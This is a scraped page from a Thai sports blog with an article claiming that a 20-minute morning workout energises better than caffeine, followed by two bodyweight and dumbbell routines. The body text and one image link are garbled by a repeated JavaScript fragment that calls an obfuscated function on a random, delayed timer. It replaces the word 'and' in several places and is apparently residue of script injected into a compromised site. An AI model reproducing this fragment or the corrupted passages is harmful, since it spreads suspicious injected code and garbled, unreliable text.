• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News

ยิ่งกว่าคาเเฟอีน: ออกกำลังกายตอนเช้า 20 นาที กระตุ้นร่างกายดีกว่าคาเเฟอีน

kan by kan
24 February 2020
in News, Training
0
ยิ่งกว่าคาเเฟอีน: ออกกำลังกายตอนเช้า 20 นาที กระตุ้นร่างกายดีกว่าคาเเฟอีน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ไม่ใช่แค่ชากาแฟเท่านั้นที่จะช่วยปลุกร่างกายและสมองคุณให้กระปรี้กระเปร่าในยามเช้า แต่การการออกกำลังกายหรือ Morning workout สามารถช่วยปลุกร่างกายให้ตื่นขึ้นและได้ผลแรงกว่าการดื่มคาแฟอีนด้วยนะ

การออกกำลังกายจะทำให้เกิดการหลั่งสารคัดหลั่ง อย่างเช่น dopamine, norepinephrine, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and serotonin, และ histamine ซึ่งจะไปกระตุ้นสภาวะการตื่นตัวให้กับร่างกาย ปลุกสมองคุณให้ตื่นพร้อมทำงานทั้งวันเลย

ดังนั้นเราจึงช่วนคุณ มาออกกำลังกายช่วงเช้ากัน เพื่อช่วยกระตุ้นร่างกายให้ปลดปล่อยพลังงาน สร้างความกระปรี้กระเปร่าพร้อมลุยงานหนักได้ทั้งวัน

ยิ่งการคาเเฟอีน: ออกกำลังกายตอนเช้า 20 นาที กระตุ้นร่างกายดีกว่าคาเเฟอีน

ตัวอย่างรูปแบบการออกกำลังกายที่แนะนำ

The Wakeup Workout: Part1

  • เวลาที่ใช้ 12 นาที
  • อุปกรณ์เสริม Dumbbell 1 คู่ ขนาด 15 ปอนด์
  • รูปแบบฝึกแบบ Total-body strength และ Cardio

เริ่มจากการฝึก Squat to Overhead Press ทำจำนวนครั้งให้มากที่สุดภายในเวลา 2 นาที และพัก 2 นาที และทำท่าต่อไป

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfitness.com/files/media/FrontSquatPress-MU.jpg” alt=””/>
www.muscleandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfitness.com

ท่าที่สองคือ Running Push-up ทำจำนวนครั้งให้มากที่สุดภายในเวลา 2 นาที และพัก 2 นาที แล้วทำท่าต่อไป

www.popsugar.com.au

ท่าที่สาม Squat Thrust With Row ท่าผสมระหว่าง Squat และ Planking ทำจำนวนครั้งให้มากที่สุดภายในเวลา 2 นาที และพัก 2 นาที จากนั้นทำซ้ำ 1-2 เซต หรือเข้าสู่ท่าบริหาร Part 2

www.womenshealthmag.com

The Wakeup Workout: Part2

  • เวลาที่ใช้ 10 นาที
  • ไม่มีอุปกรณ์เสริม
  • รูปแบบฝึกแบบ Total-body strength และ Cardio

ฝึกสามท่าต่อไปนี้โดย

  • ทำจำนวนครั้งให้มากที่สุดภายใน 35 วินาที พัก 15 วินาที
  • ทำท่าต่อไป เมื่อครบสามท่าให้พัก 1 นาที นับเป็น 1 เซต
  • ทำซ้ำ 1-2 ครั้ง

ท่าแรก L-Drop Squat

ท่าที่สอง Walkouts With T-Extension

ท่าที่สาม Switch-Step Lunge

yurielkaim.com

เพื่อการกระตุ้นที่มากกว่า เราแนะนำให้ผู้ฝึกควรมีการรับอาหารรองท้องไว้เบาๆ ก่อนฝึกและอย่าลืมดื่มน้ำก่อนด้วย เตรียมพื้นที่และอุปกรณ์ให้พร้อม เปิดเพลงเบาๆ และมีสมาธิกับการฝึก ค่อยๆ เริ่มจากจำนวนครั้งน้อยๆ แล้วค่อยๆ ไต่ระดับความเข้มข้นขึ้นไป

อ้างอิง www.runnersworld.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • หนึ่งวันก่อนวันวิ่งแข่งขัน เราควรซ้อมวิ่งหรือไม่วิ่งซ้อมวิ่งดี!!?

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.